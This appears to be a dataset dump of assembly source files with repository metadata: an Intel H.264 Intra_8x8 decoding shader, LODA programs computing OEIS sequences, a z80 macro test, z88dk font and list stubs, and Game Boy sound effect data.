58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
46.235294
2,999
0.662002
05a0be59d538b24570fc0b4473190292d4dcf9fb
9,886
asm
Assembly
src/shaders/h264/mc/Intra_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/Intra_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/Intra_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
/* * Decode Intra_8x8 macroblock * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Kernel name: Intra_8x8.asm // // Decoding of Intra_8x8 macroblock // // $Revision: 12 $ // $Date: 10/18/06 4:10p $ // // ---------------------------------------------------- // Main: Intra_8x8 // ---------------------------------------------------- #define INTRA_8X8 .kernel Intra_8x8 INTRA_8x8: #ifdef _DEBUG // WA for FULSIM so we'll know which kernel is being debugged mov (1) acc0:ud 0x01aa55a5:ud #endif #include "SetupForHWMC.asm" #define REG_INTRA_PRED_AVAIL REG_INTRA_TEMP_4 #define INTRA_PRED_AVAIL REG_INTRA_TEMP_4.4 // Offset where 8x8 predicted data blocks are stored #define PREDBLK0 0*GRFWIB #define PREDBLK1 4*GRFWIB #define PREDBLK2 8*GRFWIB #define PREDBLK3 12*GRFWIB #ifdef SW_SCOREBOARD // Update "E" flag with "F" flag information mov (1) REG_INTRA_TEMP_0<1>:w REG_INTRA_PRED_AVAIL_FLAG_WORD<0;1,0>:w // Store original Intra_Pred_Avail_Flag and.nz.f0.0 (1) NULLREG REG_MBAFF_PIC MBAFF_PIC // Is current MBAFF picture and.z.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_LEFT_TH_AVAIL_FLAG // Is "A" not available? (f0.0) and.z.f0.0 (1) NULLREG REG_FIELD_MACROBLOCK_FLAG FIELD_MACROBLOCK_FLAG // Is current frame MB? (f0.1) and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_8X8_BLK2_AVAIL_FLAG INTRA_PRED_8X8_BLK2_AVAIL_FLAG // Is "F" flag set? (f0.0.allv) or (1) REG_INTRA_PRED_AVAIL_FLAG_WORD<1>:w REG_INTRA_PRED_AVAIL_FLAG_WORD<0;1,0>:w INTRA_PRED_LEFT_BH_AVAIL_FLAG // Set "E" to 1 if all conditions meet CALL(scoreboard_start_intra,1) mov (1) REG_INTRA_PRED_AVAIL_FLAG_WORD<1>:w REG_INTRA_TEMP_0<0;1,0>:w // Restore original Intra_Pred_Avail_Flag #endif #ifdef SW_SCOREBOARD wait n0:ud // Now wait for scoreboard to response #endif // // Decode Y blocks // // Load reference data from neighboring macroblocks CALL(load_Intra_Ref_Y,1) mov (1) PERROR<1>:w ERRBUF*GRFWIB:w // Pointer to macroblock error data mov (1) PDECBUF_UD<1>:ud 0x00010001*PREDBUF*GRFWIB+0x00100000:ud // Pointers to predicted data shr (2) REG_INTRA_PRED_AVAIL<1>:w REG_INTRA_PRED_AVAIL_FLAG_BYTE<0;1,0>:ub 0x40:v #if 1 mov (4) REF_LEFT_D(0,0)<1> 0:ud // This is to make validation easier. Without it, DRAM mismatch occurs. #endif // Intra predict Intra_8x8 luma blocks // // Sub-macroblock 0 ***************** mov (16) REF_TOP_W(0)<1> REG_INTRA_REF_TOP<16;16,1>:w // Copy entire top reference data and.nz.f0.0 (8) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_UP_LEFT_AVAIL_FLAG // Is "D" available? (-f0.0) mov (1) REF_TOP(0,-1)<1> INTRA_REF_TOP(0)REGION(1,0) // p[-1,-1] = p[0,-1] mov (8) REF_LEFT(0,2)<1> INTRA_REF_LEFT(0) // Left reference data, (leave 2 for reference filtering) (-f0.0) mov (1) REF_LEFT(0,1)<1> INTRA_REF_LEFT(0)REGION(1,0) // p[-1,-1]=p[-1,0] (f0.0.any2h) mov (2) REF_LEFT(0,0)<1> INTRA_REF_TOP(0,-1)REGION(1,0) // p'[-1,y] (y=0,1) = p[-1,-1] and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_UP_AVAIL_FLAG // Is "B" available? (f0.1) mov (1) REF_LEFT(0,0)<1> INTRA_REF_TOP(0,0)REGION(1,0) // p[0,-1] for left filtering and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_LEFT_TH_AVAIL_FLAG // Is "A" available? (-f0.1) mov (1) REF_LEFT(0,2)<1> INTRA_REF_TOP(0,-1)REGION(1,0) // p'[-1,2] = p[-1,-1] and (1) PRED_MODE<1>:w INTRA_PRED_MODE(0)REGION(1,0) 0x0F:w // Intra pred mode for current block mov (1) INTRA_PRED_AVAIL<1>:w REG_INTRA_PRED_AVAIL<0;1,0>:w // Top/Left neighbor available flags CALL(intra_Pred_8x8_Y,1) add (1) PERROR<1>:w PERROR<0;1,0>:w 0x0080:w // Pointers to next error block // Sub-macroblock 1 ***************** mov (16) REF_TOP0(0)<1> INTRA_REF_TOP(0,4) // Top reference data and.nz.f0.1 (8) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_UP_RIGHT_AVAIL_FLAG // Is "C" available? (f0.1.any8h) mov (8) REF_TOP(0,8)<1> INTRA_REF_TOP(0,16)<8;8,1> // Take data from "C" (-f0.1.any8h) mov (8) REF_TOP(0,8)<1> INTRA_REF_TOP(0,15)REGION(1,0) // Repeat last pixel from "B" mov (4) REF_LEFT(0,2)<1> DEC_Y(0,14)<16;1,0> // Left reference data (top half) (leave 2 for reference filtering) mov (4) REF_LEFT(0,6)<1> DEC_Y(2,14)<16;1,0> // Left reference data (bottom half) mov (2) REF_LEFT(0,0)<1> INTRA_REF_TOP(0,7)REGION(1,0) // p'[-1,y] (y=0,1) = p[-1,-1] and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_UP_AVAIL_FLAG // Is "B" available? (f0.1) mov (1) REF_LEFT(0,0)<1> INTRA_REF_TOP(0,8)REGION(1,0) // p[-1,-1] for left filtering (-f0.1) mov (1) REF_LEFT(0,1)<1> DEC_Y(0,14)REGION(1,0) // p[-1,-1] = p[-1,0] shr (1) PRED_MODE<1>:w INTRA_PRED_MODE(0)REGION(1,0) 4:w // Intra pred mode for current block add (2) PPREDBUF_Y<1>:w PPREDBUF_Y<2;2,1>:w 4*GRFWIB:w // Pointer to predicted sub-macroblock 1 or (1) INTRA_PRED_AVAIL<1>:w REG_INTRA_PRED_AVAIL<0;1,0>:w 1:w // Left neighbor is available CALL(intra_Pred_8x8_Y,1) add (1) PERROR<1>:w PERROR<0;1,0>:w 0x0080:w // Pointers to next error block // Pack constructed data from word-aligned to byte-aligned format and interlace Y0 and Y1(every two Y rows) // to speed up save_8x8_Y module later // PPREDBUF_Y now points to sub-macroblock Y1 mov (32) r[PPREDBUF_Y,-PREDBLK1]<1>:ub DEC_Y(0)<32;16,2> {Compr} // First 4 Y0 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+32]<1>:ub DEC_Y(4)<32;16,2> {Compr} // First 4 Y1 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+64]<1>:ub DEC_Y(2)<32;16,2> {Compr} // Second 4 Y0 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+96]<1>:ub DEC_Y(6)<32;16,2> {Compr} // Second 4 Y1 rows // Sub-macroblock 2 ***************** // Intra_8x8 special available flag handling and.nz.f0.0 (1) NULLREG REG_MBAFF_PIC MBAFF_PIC // Is current MBAFF picture and.z.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_LEFT_TH_AVAIL_FLAG // Is "A" not available? (f0.0) and.z.f0.0 (1) NULLREG REG_FIELD_MACROBLOCK_FLAG FIELD_MACROBLOCK_FLAG // Is current frame MB? (f0.1) and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_8X8_BLK2_AVAIL_FLAG INTRA_PRED_8X8_BLK2_AVAIL_FLAG // Is special intra_8x8 available flag set? (f0.0.allv) mov (1) REF_TOP(0,-1)<1> INTRA_REF_LEFT0(0,31)REGION(1,0) // Top-left reference data (f0.0.allv) jmpi (1) INTRA_8x8_BLK2 // Done intra_8x8 special available flag handling and.nz.f0.0 (8) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_LEFT_TH_AVAIL_FLAG // Is top-half "A" available? (f0.0.any4h) mov (4) REF_TOP0(0)<1> INTRA_REF_LEFT0(0,28)REGION(4,1) // Top-left reference data (-f0.0) mov (1) REF_TOP(0,-1)<1> DEC_Y(2,24)REGION(1,0) // p[-1,-1] = p[0,-1] INTRA_8x8_BLK2: mov (8) REF_TOP(0)<1> DEC_Y(2,24)REGION(8,1) // Top reference data mov (8) REF_TOP(0,8)<1> DEC_Y(3,24)REGION(8,1) // Top reference data mov (8) REF_LEFT(0,2)<1> INTRA_REF_LEFT(1) // Left reference data, (leave 2 for reference filtering) mov (1) REF_LEFT(0,0)<1> DEC_Y(2,24)REGION(1,0) // p'[-1,0] = p[0,-1] since "B" is always available (f0.0) mov (1) REF_LEFT(0,1)<1> INTRA_REF_LEFT(0,28)REGION(1,0) // p[-1,1] = p[-1,-1] if top-half "A" available (-f0.0) mov (1) REF_LEFT(0,1)<1> INTRA_REF_LEFT(1)REGION(1,0) // p[-1,1] = p[-1,0] and.nz.f0.1 (1) NULLREG REG_INTRA_PRED_AVAIL_FLAG INTRA_PRED_LEFT_BH_AVAIL_FLAG // Is bottom-half "A" available? (-f0.1) mov (1) REF_LEFT(0,2)<1> INTRA_REF_LEFT(0,28)REGION(1,0) // p'[-1,2] = p[-1,-1] and (1) PRED_MODE<1>:w INTRA_PRED_MODE(0,1)REGION(1,0) 0x0F:w // Intra pred mode for current block or (1) INTRA_PRED_AVAIL<1>:w REG_INTRA_PRED_AVAIL.1<0;1,0>:w 2:w // Top neighbor is available CALL(intra_Pred_8x8_Y,1) add (1) PERROR<1>:w PERROR<0;1,0>:w 0x0080:w // Pointers to next error block // Sub-macroblock 3 ***************** mov (4) REF_TOP0(0)<1> DEC_Y(2,28)REGION(4,1) // Top-left reference data mov (8) REF_TOP(0)<1> DEC_Y(3,24)REGION(8,1) // Top reference data mov (16) REF_TOP(0,8)<1> DEC_Y(3,31)REGION(1,0) // Top-right reference data mov (4) REF_LEFT(0,2)<1> DEC_Y(4,14)<16;1,0> // Left reference data (top half) (leave 2 for reference filtering) mov (4) REF_LEFT(0,6)<1> DEC_Y(6,14)<16;1,0> // Left reference data (bottom half) mov (1) REF_LEFT(0,0)<1> DEC_Y(3,24)REGION(1,0) // p[-1,0] = p[0,-1] mov (1) REF_LEFT(0,1)<1> DEC_Y(2,31)REGION(1,0) // p[-1,1] = p[-1,-1] shr (1) PRED_MODE<1>:w INTRA_PRED_MODE(0,1)REGION(1,0) 4:w // Intra pred mode for current block add (2) PPREDBUF_Y<1>:w PPREDBUF_Y<2;2,1>:w 4*GRFWIB:w // Pointer to predicted sub-macroblock 3 or (1) INTRA_PRED_AVAIL<1>:w REG_INTRA_PRED_AVAIL<0;1,0>:w 3:w // Top and Left neighbor are available CALL(intra_Pred_8x8_Y,1) // Pack constructed data from word-aligned to byte-aligned format // to speed up save_8x8_Y module later // PPREDBUF_Y now points to sub-macroblock Y1 mov (32) r[PPREDBUF_Y,-PREDBLK1]<1>:ub DEC_Y(4)<32;16,2> {Compr} // First 4 Y2 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+32]<1>:ub DEC_Y(8)<32;16,2> {Compr} // First 4 Y3 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+64]<1>:ub DEC_Y(6)<32;16,2> {Compr} // Second 4 Y2 rows mov (32) r[PPREDBUF_Y,0-PREDBLK1+96]<1>:ub DEC_Y(10)<32;16,2> {Compr} // Second 4 Y3 rows // All 4 sub-macroblock (containing 4 intra_8x8 blocks) have be constructed // Save constructed Y picture CALL(save_8x8_Y,1) // Save Intra_8x8 predicted luma data. // // Decode U/V blocks // // Note: The decoding for chroma blocks will be the same for all intra prediction mode // CALL(decode_Chroma_Intra,1) #ifdef SW_SCOREBOARD #include "scoreboard_update.asm" #endif // Terminate the thread // #include "EndIntraThread.asm" // End of Intra_8x8
51.222798
165
0.675804
4b4d9d386299d97f38690a4dc2db0faf94b2cbe9
1,273
asm
Assembly
programs/oeis/294/A294398.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/294/A294398.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/294/A294398.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A294398: Solution of the complementary equation a(n) = a(n-1) + b(n-2) + 2, where a(0) = 1, a(1) = 3, b(0) = 2, b(1) = 4. ; 1,3,7,13,20,28,38,49,61,74,88,104,121,139,158,178,199,222,246,271,297,324,352,381,412,444,477,511,546,582,619,657,696,737,779,822,866,911,957,1004,1052,1101,1151,1203,1256,1310,1365,1421,1478,1536,1595,1655 mov $7,$0 add $7,1 mov $16,$0 lpb $7 mov $0,$16 sub $7,1 sub $0,$7 mov $13,$0 mov $14,0 mov $15,$0 add $15,1 lpb $15 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11 mov $6,0 sub $11,1 add $0,$11 sub $0,1 mov $2,$0 mov $3,2 add $4,$0 mov $5,$0 mov $8,$0 mul $8,2 lpb $2 mov $2,1 lpb $4 mov $4,4 mul $5,3 mov $6,4 mov $8,1 lpe lpb $5 add $3,4 trn $5,$3 lpe lpb $6 trn $6,$3 mov $17,$3 lpe add $6,$17 add $6,$8 lpe div $6,4 mov $12,$11 mov $17,$6 lpb $12 mov $10,$17 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$17 lpe mov $17,$10 add $17,1 add $14,$17 lpe add $1,$14 lpe mov $0,$1
18.185714
208
0.436764
3e34313b101b98546b586c7666278d6cf5c6950b
1,030
asm
Assembly
programs/oeis/195/A195309.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/195/A195309.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/195/A195309.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A195309: Row sums of an irregular triangle read by rows in which row n lists the next A026741(n+1) natural numbers A000027. ; 1,9,11,45,39,126,94,270,185,495,321,819,511,1260,764,1836,1089,2565,1495,3465,1991,4554,2586,5850,3289,7371,4109,9135,5055,11160,6136,13464,7361,16065,8739,18981,10279,22230,11990,25830,13881,29799,15961,34155,18239,38916,20724,44100,23425,49725,26351,55809,29511,62370,32914,69426,36569,76995,40485,85095,44671,93744,49136,102960,53889,112761,58939,123165,64295,134190,69966,145854,75961,158175,82289,171171,88959,184860,95980,199260,103361,214389,111111,230265,119239,246906,127754,264330,136665,282555,145981,301599,155711,321480,165864,342216,176449,363825,187475,386325 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 add $0,1 seq $0,1318 ; Generalized pentagonal numbers: m*(3*m - 1)/2, m = 0, +-1, +-2, +-3, .... mov $2,$3 mov $4,$0 sub $4,1 mul $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe sub $1,2 div $1,2 add $1,1 mov $0,$1
35.517241
576
0.708738
aba7407e143771af21bdfa6f36b07d04ae0af191
585
asm
Assembly
src/test/resources/data/potests/test25.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
36
2020-06-29T06:52:26.000Z
2022-02-10T19:41:58.000Z
src/test/resources/data/potests/test25.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
39
2020-07-02T18:19:34.000Z
2022-03-27T18:08:54.000Z
src/test/resources/data/potests/test25.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
7
2020-07-02T06:00:05.000Z
2021-11-28T17:31:13.000Z
; Test case: see if macro expansions with labels work as expected (notice that the code generated by this will be garbage, but it's ok, it's just a test) mymacro: macro ?basemacro base: ?basemacro or a jr z,macrolabel2 macrolabel1: ld b,1 jr macrolabel3 macrolabel2: ld b,2 macrolabel3: ld a,(base.data) endm mymacro mymacro2 label1: push bc expansion_name: mymacro mymacro2 label2: push bc label3: mymacro mymacro3 push bc ld (var),a REPT 4 loop: nop endloop: ENDM end: jp end var: db 0 mymacro2: macro data: db 1 endm mymacro3: macro data: db 2 endm
11.25
153
0.723077
b74d40ab810494d2393e046ce0baf7fcc7725c59
134
asm
Assembly
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Lettera/_ff_ao_Lettera.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Lettera/_ff_ao_Lettera.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Lettera/_ff_ao_Lettera.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION rodata_font SECTION rodata_font_fzx PUBLIC _ff_ao_Lettera _ff_ao_Lettera: BINARY "font/fzx/fonts/ao/Lettera/Lettera.fzx"
12.181818
46
0.828358
ef90983260e2ef9693269bdafa290a5b461aa747
160
asm
Assembly
audio/sfx/59_1.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
audio/sfx/59_1.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
audio/sfx/59_1.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
SFX_59_1_Ch5: duty_cycle 2 square_note 4, 15, 1, 1920 sound_ret SFX_59_1_Ch6: duty_cycle 2 square_note 1, 0, 8, 0 square_note 4, 10, 1, 1889 sound_ret
13.333333
27
0.73125
b1dff2b37930a078e871bca0fa7a11dc7fd26d63
745
asm
Assembly
oeis/171/A171503.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/171/A171503.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/171/A171503.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A171503: Number of 2 X 2 integer matrices with entries from {0,1,...,n} having determinant 1. ; Submitted by Jon Maiga ; 0,3,7,15,23,39,47,71,87,111,127,167,183,231,255,287,319,383,407,479,511,559,599,687,719,799,847,919,967,1079,1111,1231,1295,1375,1439,1535,1583,1727,1799,1895,1959,2119,2167,2335,2415,2511,2599,2783,2847,3015,3095,3223,3319,3527,3599,3759,3855,3999,4111,4343,4407,4647,4767,4911,5039,5231,5311,5575,5703,5879,5975,6255,6351,6639,6783,6943,7087,7327,7423,7735,7863,8079,8239,8567,8663,8919,9087,9311,9471,9823,9919,10207,10383,10623,10807,11095,11223,11607,11775,12015 lpb $0 sub $0,1 mov $2,$0 mov $0,0 max $2,0 seq $2,137243 ; Number of coprime pairs (a,b) with -n <= a,b <= n. lpe mov $0,$2 sub $0,1 div $0,2
49.666667
469
0.722148
b925bfc9f204e7f33e959dc8065c267c9d5e1fff
862
asm
Assembly
oeis/240/A240847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/240/A240847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/240/A240847.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A240847: a(n) = 2*a(n-1) + a(n-2) - 2*a(n-3) - a(n-4) for n>3, a(0)=a(1)=a(3)=0, a(2)=1. ; Submitted by Simon Strandgaard ; 0,0,1,0,1,0,0,-2,-5,-12,-25,-50,-96,-180,-331,-600,-1075,-1908,-3360,-5878,-10225,-17700,-30509,-52390,-89664,-153000,-260375,-442032,-748775,-1265832,-2136000,-3598250,-6052061,-10164540,-17048641,-28559450,-47786400,-79870428,-133359715,-222457608,-370747675,-617363100,-1027198944,-1707808030,-2837341129,-4710729300,-7815984725,-12960208462,-21477601920,-35572713552,-58886627375,-97430556000,-161124710351,-266334008400,-440044987776,-726744007250,-1199740275125,-1979800573548,-3265808419945 mov $3,2 mov $5,$0 sub $5,1 lpb $3 mov $0,$5 sub $3,1 add $0,$3 max $0,0 seq $0,1629 ; Self-convolution of Fibonacci numbers. mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe sub $1,$4 min $5,1 mul $5,$4 sub $1,$5 mov $0,$1
35.916667
499
0.672854
d73933267b1d076b3f1b3f35f19d1f1d655f48e4
325
asm
Assembly
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_prev_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_prev_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_prev_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *p_forward_list_alt_prev_callee(forward_list_alt_t *list, void *item) SECTION code_adt_p_forward_list_alt PUBLIC p_forward_list_alt_prev_callee EXTERN p_forward_list_prev_callee defc p_forward_list_alt_prev_callee = p_forward_list_prev_callee INCLUDE "adt/p_forward_list_alt/z80/asm_p_forward_list_alt_prev.asm"
25
76
0.883077
d99fd66c4c912e7a741e5396ea399fbda8ea7676
610
asm
Assembly
oeis/176/A176557.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/176/A176557.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/176/A176557.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A176557: Primes of the form 7*x^2 - 5*y^2, where x and y are successive natural numbers. ; Submitted by Simon Strandgaard ; 7,23,43,67,127,163,347,463,743,823,907,1087,1283,1607,1723,2503,2647,3767,3943,5923,6143,6367,6827,7547,8563,9643,9923,11083,11383,13267,14947,15647,16363,17467,18223,19387,20183,21407,24847,25747,26203 mov $1,9 mov $2,332202 mov $5,-2 lpb $2 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,4 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 sub $5,5 add $5,$1 mov $6,$5 add $5,4 lpe mov $0,$5 sub $0,3
24.4
204
0.667213
bb195a787bb5dfaab794d0efc45f4509ade38348
799
asm
Assembly
programs/oeis/141/A141974.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/141/A141974.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/141/A141974.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
